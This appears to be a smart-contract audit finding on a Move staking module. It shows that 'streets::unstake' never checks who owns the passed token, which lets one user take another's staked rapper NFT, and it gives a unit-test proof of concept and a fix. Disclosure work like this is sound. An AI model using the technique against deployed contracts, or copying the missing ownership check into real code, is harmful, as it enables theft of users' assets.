Malicious user can steal another user's rapper in the unstaking phase
Description
The function street::unstake takes the following parameters
public entry fun unstake(staker: &signer, module_owner: &signer, rapper_token: Object<Token>)
The problem here is the rapper_token, the module_owner doesn't know for sure what object address is passed here and if the staker is actually the owner.
To mitigate that, he puts the following asserts :
assert!(exists<StakeInfo>(staker_addr), E_TOKEN_NOT_STAKED);
let stake_info = borrow_global<StakeInfo>(staker_addr);
assert!(stake_info.owner == staker_addr, E_NOT_OWNER);
relate to this lines in the streets::stake function :
let staker_addr = signer::address_of(staker);
let token_id = object::object_address(&rapper_token);
move_to(staker, StakeInfo {
start_time_seconds: timestamp::now_seconds(),
owner: staker_addr,
});
First this check that the staker had indeed staked and then check if the staker is the owner of the StakeInfo struct ?
The second assert doesn't make sense because if the first one pass, the second is sure to pass.
But more importantly this asserts doesn't check if the object passed in the parameters was owned by the staker.
Risk
A malicious user can pass the object address of another user stealing his rapper.
impact : The original owner of the stolen rapper can't play anymore unless minting again, and his staking reward will be permanently block (High)
Likelyhood : The malicious user needs to find the object address of a user and wait for him to stake and front-run him before he calls the unstake function.(medium)
Proof of Concept
Add the following function in one_shot :
#[test_only]
public fun
last_created_rapper():
Option<address> {
let events= event::emitted_events<MintRapperEvent>();
if (vector::length(&events) == 0) {
return option::none()
};
let event = vector::pop_back(&mut events);
return option::some(event.token_id)
}
Add the following function in cred_token for testing purpose:
#[test_only]
public fun init_init(sender: &signer) {
init_module(sender);
}
Create the file streets_test in the tests folder and add the following codes :
module battle_addr::streets_tests {
use std::signer;
use std::timestamp;
use aptos_framework::account;
use battle_addr::one_shot::{Self as one_shot};
use battle_addr::streets::{Self as streets};
use aptos_framework::object::{Self as object};
use aptos_token_v2::token::{Self as token};
use battle_addr::cred_token::{Self as cred};
#[test_only]
use aptos_framework::coin;
#[test(framework = @0x1), expected_failure]
public fun test_street_stake(framework: &signer) {
timestamp::set_time_has_started_for_testing(framework);
let module_owner = account::create_account_for_test(@battle_addr);
let minter = account::create_account_for_test(@minter_addr);
let user = account::create_account_for_test(@0x126);
cred::init_init(&module_owner);
coin::create_coin_conversion_map(framework);
one_shot::mint_rapper(&module_owner, signer::address_of(&minter));
let minter_id = *one_shot::last_created_rapper().borrow();
let minter_obj = object::address_to_object<token::Token>(minter_id);
one_shot::mint_rapper(&module_owner, signer::address_of(&user));
let user_id = *one_shot::last_created_rapper().borrow();
let user_obj = object::address_to_object<token::Token>(user_id);
assert!(object::is_owner(minter_obj, @minter_addr), 1);
streets::stake(&user, user_obj);
timestamp::update_global_time_for_test(345600000000);
streets::unstake(&user, &module_owner, user_obj);
streets::stake(&user, user_obj);
timestamp::update_global_time_for_test(691200000000);
streets::stake(&minter, minter_obj);
let balance = one_shot::balance_of(@minter_addr);
assert!(balance == 0, 1);
streets::unstake(&minter, &module_owner, user_obj);
balance = one_shot::balance_of(@minter_addr);
assert!(balance == 1, 1);
streets::unstake(&user, &module_owner, user_obj);
}
}
Recommended Mitigation
Recommender mitigation :
Add the token id to the StakeInfo struct
struct StakeInfo has key, store {
start_time_seconds: u64,
owner: address,
+ tokenid: address,
}
During the staking phase add the token_id in the move_to transfer :
move_to(staker, StakeInfo {
start_time_seconds: timestamp::now_seconds(),
owner: staker_addr,
+ tokenid: token_id,
});
Add the following assert in streets::unstake :
let staker_addr = signer::address_of(staker);
let token_id = object::object_address(&rapper_token);
assert!(exists<StakeInfo>(staker_addr), E_TOKEN_NOT_STAKED);
let stake_info = borrow_global<StakeInfo>(staker_addr);
- assert!(stake_info.owner == staker_addr, E_NOT_OWNER); // can be remove
+ assert!(stake_info.tokenid == token_id, E_NOT_OWNER);
